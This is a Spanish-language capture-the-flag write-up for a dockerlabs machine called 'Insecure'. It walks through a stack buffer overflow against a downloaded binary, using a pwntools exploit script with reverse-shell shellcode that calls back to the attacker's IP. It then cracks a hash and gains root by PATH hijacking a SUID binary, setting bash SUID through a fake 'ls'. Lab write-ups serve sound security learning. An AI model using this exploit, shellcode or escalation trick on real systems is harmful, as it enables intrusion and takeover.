murrusko

Insecure

12 Sep 2024

image

Estamos ante un docker que contiene una distribución Linux. Es de nivel difícil y es de la plataforma dockerlabs.

Enumeración

Escaneo de puertos

Utilizamos Rustscan para identificar rápidamente los puertos abiertos en la IP objetivo:

$ rustscan -a 172.17.0.2 -b 10
Open 172.17.0.2:80
Open 172.17.0.2:20201

Ahora usamos Nmap para obtener más información sobre los servicios que corren en los puertos identificados:

$ sudo nmap -sCV -p80,20201 -v 172.17.0.2
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: software installation
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.62 (Debian)
20201/tcp open  unknown
| fingerprint-strings: 
|   GenericLines: 
|     Enter data: Data received correctly
|   NULL: 
|_    Enter data:

Obtenemos el siguiente resultado:

  • Puerto 80: Corriendo Apache HTTPD 2.4.62 (Debian). El sitio muestra un título de “software installation”.
  • Puerto 20201: Servicio desconocido que acepta entradas con el mensaje “Enter data: Data received correctly”.

Enumeración web

Exploramos la web con curl:

$ curl -vvvv http://172.17.0.2
...
 <a style="display: block; width: 100px; margin: 0 auto;" href="./secure_software">download</a>
....

Vemos que hay un enlace para descargar un posible “software”. Lo descargamos y le damos permisos de ejecución:

$ curl http://172.17.0.2/secure_software -O

$ chmod +x secure_software

Intrusión

Ahora que tenemos el fichero en nuestro equipo vamos a intentar ganar acceso a través del binario. Empezamos abriendo el binario con gdb:

image

Una vez dentro vamos a crear un patrón por si hubiera un Stack Buffer Overflow. Usamos el comando pattern create 400 :

image

Ejecutamos el binario dentro de gdb con run:

image

En otra consola nos conectamos al binario mediante telnet con telnet localhost 20201 y mandamos el patrón que hemos generado anteriormente.

Volvemos a la consola donde se está ejecutando gdb y vemos que la aplicación se ha terminado con SIGSEV.

image

Ahora tenemos que buscar el offset, el numero de bytes a partir del cual el programa falla. Para ello usamos el comando pattern offset junto con la dirección de memoria que nos indica:

image

Ahora que ya sabemos el offset vamos a crearnos un script en python usando la librería pwntools de Python. En este primer script vamos a intentar ver si llena el registro $eip con la letra B (“\x42”). Para ello creamos un payload con 300 caracteres A más 4 B’s.

#!/usr/bin/env python3

from pwn import *

log.warning(f'Usage: python3 {sys.argv[0]} [ip:port]')
context.binary = 'secure_software'

payload = "A"*300 + "B"*4

if len(sys.argv) > 1:
    ip, port = sys.argv[1].split(':')
    p = remote(ip, port)
else:
    p = process(context.binary.path)

p.sendlineafter(b'Enter data: ', payload)
p.interactive()

Volvemos a ejecutar el binario en gdb y cuando este listo escuchando ejecutamos el script para que se conecte a nuestra máquina desde otra consola:

$ python3 exploit.py 172.17.0.1:20201
[!] Usage: python3 exploit.py [ip:port]
[*] '/home/mur/machines/dockerlabs/insecure/secure_software'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
[←] Opening connection to 172.17.0.1 on port 20201: Trying 172.[+] Opening connection to 172.17.0.1 on port 20201: Done
/home/mur/machines/dockerlabs/insecure/exploit.py:16: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b'Enter data: ', payload)
[*] Switching to interactive mode
$

Vemos que el script se ha ejecutado correctamente. Ahora nos movemos a gdb y ejecutamos register para ver que hay en los registros:

image

Como vemos se ha sobrescrito el registro $eip con el caracter B(\x42)

El siguiente paso es ver como desborda la pila para poder mandar nuestro shellcode y lo ejecute. Le añadimos 100 C’s al final del payload y lo volvemos a ejecutar (hay que reiniciar el binario en gdb)

#!/usr/bin/env python3

from pwn import *

log.warning(f'Usage: python3 {sys.argv[0]} [ip:port]')
context.binary = 'secure_software'

payload = "A"*300 + "B"*4 + "C"*100 

if len(sys.argv) > 1:
    ip, port = sys.argv[1].split(':')
    p = remote(ip, port)
else:
    p = process(context.binary.path)

p.sendlineafter(b'Enter data: ', payload)
p.interactive()

En gdb vamos a ver los siguientes 30bytes después del registro $esp. Para ello ejecutamos x/30x $esp:

image

Para terminar vamos a meter un shellcode que nos de una reverse shell. Usaremos el siguente shellcode https://www.exploit-db.com/shellcodes/50125 . Como vemos en las notas habría que modificar los bytes para incorporar nuestra dirección IP a partir del byte 26.

"\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\x31\xc0\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf0\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"

 /* Default IP and port at 26th and 32nd byte index: \x7f\x01\x01\x01 \x11\x5c */

Para convertir nuestra IP a bytes usaremos python3 -c "import socket; print(socket.inet_aton('172.17.0.1'))" que nos devolverá b’\xac\x11\x00\x01’ . La shellcode quedaria asi:

"\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x68\xac\x11\x00\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\x31\xc0\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf0\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"

Modificamos el script para poder incorporar la shellcode:

#!/usr/bin/env python3

from pwn import *

log.warning(f'Usage: python3 {sys.argv[0]} [ip:port]')
context.binary = 'secure_software'

rop = ROP(context.binary)
eip = p32(rop.jmp_esp.address)

reverse = b"\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x03\x68\xac\x11\x00\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\x31\xc0\xb0\x3f\x89\xf3\xcd\x80\xfe\xc1\x66\x83\xf9\x02\x7e\xf0\x31\xc0\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"

payload = b"A"*300
payload += eip
payload += reverse

if len(sys.argv) > 1:
    ip, port = sys.argv[1].split(':')
    p = remote(ip, port)
else:
    p = process(context.binary.path)

p.sendlineafter(b'Enter data: ', payload)
p.interactive()

Lo probamos en local primero y cuando vemos que funciona lo ejecutamos contra la máquina victima. Nos ponemos a la escucha en nuestra máquina en el puerto 4444, como esta en la shellcode.

$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

Y ejecutamos el script:

$ python3 exploit.py 172.17.0.2:20201

Obtenemos la shell y hacemos el tratamiento de la tty:

Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:34020.
whoami
securedev

Escalada de privilegios

Movimiento lateral

Una vez dentro de la máquina vamos a enumerar primero el Home del usuario:

securedev@6a2ba51ee826:/home/securedev$ ls -l
total 20
-rw-r--r-- 1 securedev securedev    68 Sep  6 14:05 hashfile
-rwxr-xr-x 1 securedev securedev 15264 Sep  6 14:36 secure_software

Encontramos un hash:

securedev@6a2ba51ee826:/home/securedev$ cat hashfile 
This is for you, john the ripper:

21571b31a8d2e8b03690989835872cc6

No tenemos suerte con el rockyou, asi que seguimos buscando por la máquina. Vamos a ver que usuarios hay en el sistema:

securedev@6a2ba51ee826:/home/securedev$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
securedev:x:1000:1000::/home/securedev:/bin/bash
johntheripper:x:1001:1001::/home/johntheripper:/bin/bash

Ahora buscamos ficheros del user johntheripper:

securedev@6a2ba51ee826:/$ find / -user johntheripper -type f 2>/dev/null
/opt/.hidden/words

Vemos el contenido del fichero encontrado:

securedev@6a2ba51ee826:/$ cat /opt/.hidden/words
I love these words:

test123test333
333300trest
trest00aa20_
_23t_32_g4
testnefg321ttt
trestre2612t33s
11tv1e0st!!!!!
!!10t3bst??
tset0tevst!
ts!tse?test01
_0test!X!test0
0143_t3s5t53_0

Nos llevamos a nuestra máquina los ficheros e intentamos sacar la pass con hashcat:

hashcat -m 0 hash words.txt
21571b31a8d2e8b03690989835872cc6:tset0tevst!

Nos cambiamos de usuario:

securedev@6a2ba51ee826:/$ su johntheripper
Password: 
johntheripper@6a2ba51ee826:~$

Hacemos los mismo que con el usuario securedev, listamos el directorio Home y nos encontramos un nuevo binario con permisos SUID de root. Nos lo mandamos a nuestro equipo.

Escalada a root

Lo abrimos con gdb y hacemos disas main para ver el código en ensamblador:

image

Podemos ver que hace una llamada a una función system.

Ahora abrimos con ida Free el binario y vemos que la llamada system es ejecutar ls.

image

Vamos a modificar el path para añadir el directorio home del usuario. Ejecutamos:

johntheripper@6a2ba51ee826:~$ export PATH=/home/johntheripper/:$PATH
PATH=/home/johntheripper/:johntheripper@6a2ba51ee826:~$ echo $PATH
/home/johntheripper/:/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:.

Creamos en el directorio home del usuario johntheripper un archivo llamado ls que ejecute lo siguiente y después le damos permisos de ejecución:

#!/bin/bash
chmod +s /usr/bin/bash

Ahora ejecutamos el binario show_files y después ejecutamos bash -p para obtener la shell de root:

johntheripper@6a2ba51ee826:~$ ./show_files 
johntheripper@6a2ba51ee826:~$ bash -p
bash-5.2# whoami
root